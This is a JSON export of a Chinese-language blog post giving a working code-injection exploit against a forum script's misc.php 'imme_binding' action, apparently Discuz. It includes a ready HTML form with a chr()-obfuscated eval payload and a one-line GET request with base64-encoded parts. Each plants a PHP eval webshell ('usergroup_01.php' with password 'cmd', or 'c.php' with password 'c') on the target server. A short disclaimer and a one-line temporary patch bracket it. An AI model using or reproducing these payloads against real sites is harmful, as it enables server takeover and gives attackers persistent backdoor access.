\u4f7f\u7528\u8be5exp\u7684\u8bdd\u4ec5\u9650\u672c\u673a\u6d4b\u8bd5\uff0c\u5176\u4ed6\u7528\u9014\u540e\u679c\u81ea\u8d1f\uff01<\/p>\n
\u7b2c\u4e00\u79cd\u65b9\u6cd5\uff1a
\n\u5148\u6ce8\u518c\u4e2a\u7528\u6237\u7136\u540e\u628a<\/p>\n
<form method=”post” action=”\u00a0\u00a0 http:\/\/www.xxx.com\/bbs\/misc.php” enctype=”multipart\/form-data”>
\n\u5e16\u5b50ID\uff0c\u6307\u5b9a\u4e00\u4e2a\u5b58\u5728\u7684\u5e16\u5b50\u5373\u53ef\uff1a<input type=”text” name=”tid” value=”1″ \/>
\n<input type=”hidden” name=”action” value=”imme_binding” \/>
\n<input type=”hidden” name=”response[result]” value=”1:2″ \/>
\n<input type=”hidden” name=”scriptlang[1][2]” value=”${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}” \/>
\n<input type=”submit” name=”topicsubmit” value=”\u63d0\u4ea4” class=”submit” \/>
\n<\/form><\/p>\n
chr\u89e3\u7801\u540e\u662f\uff1avalue=”${${evalfputs(fopen(‘forumdata\/cache\/usergroup’,’w’),'<?php eval($_POST[cmd])?>’);<\/p>\n
\u91cc\u9762\u6709\u4e2a\u63d0\u4ea4\u5730\u5740\u6539\u4e0b\uff0c\u4fdd\u5b58html<\/p>\n
\u6253\u5f00\u70b9\u63d0\u4ea4\uff0c\u4f1a\u751f\u4ea7forumdata\/cache\/usergroup_01.php\u4e00\u53e5\u8bdd\u6587\u4ef6\uff0c\u5bc6\u7801\u662fcmd<\/p>\n
\u7b2c\u4e8c\u79cd\u65b9\u6cd5\uff1a
\n\u76f4\u63a5GET\uff0c\u5229\u7528\u8bed\u53e5\uff1a
\nmisc.php?action=imme_binding&response[result]=aa:b&scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}
\n\u5728\u6839\u76ee\u5f55\u751f\u6210C.PHP\u5bc6\u7801\u662fC<\/p>\n
\u4e34\u65f6\u4fee\u8865\u65b9\u6cd5\uff1a
\n\u5728common.inc.php\u4e0a\u9762\u52a0\u4e0a
\n$response=$scriptlang=array();<\/p>\n","protected":false},"excerpt":{"rendered":"
\u4f7f\u7528\u8be5exp\u7684\u8bdd\u4ec5\u9650\u672c\u673a\u6d4b\u8bd5\uff0c\u5176\u4ed6\u7528\u9014\u540e\u679c\u81ea\u8d1f\uff01 \u7b2c\u4e00\u79cd\u65b9\u6cd5\uff1a \u5148\u6ce8\u518c\u4e2a\u7528\u6237\u7136\u540e\u628a <form meth […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-858","post","type-post","status-publish","format-standard","hentry","category-skill"],"_links":{"self":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/858","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/comments?post=858"}],"version-history":[{"count":1,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/858\/revisions"}],"predecessor-version":[{"id":5064,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/858\/revisions\/5064"}],"wp:attachment":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/media?parent=858"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/categories?post=858"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/tags?post=858"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}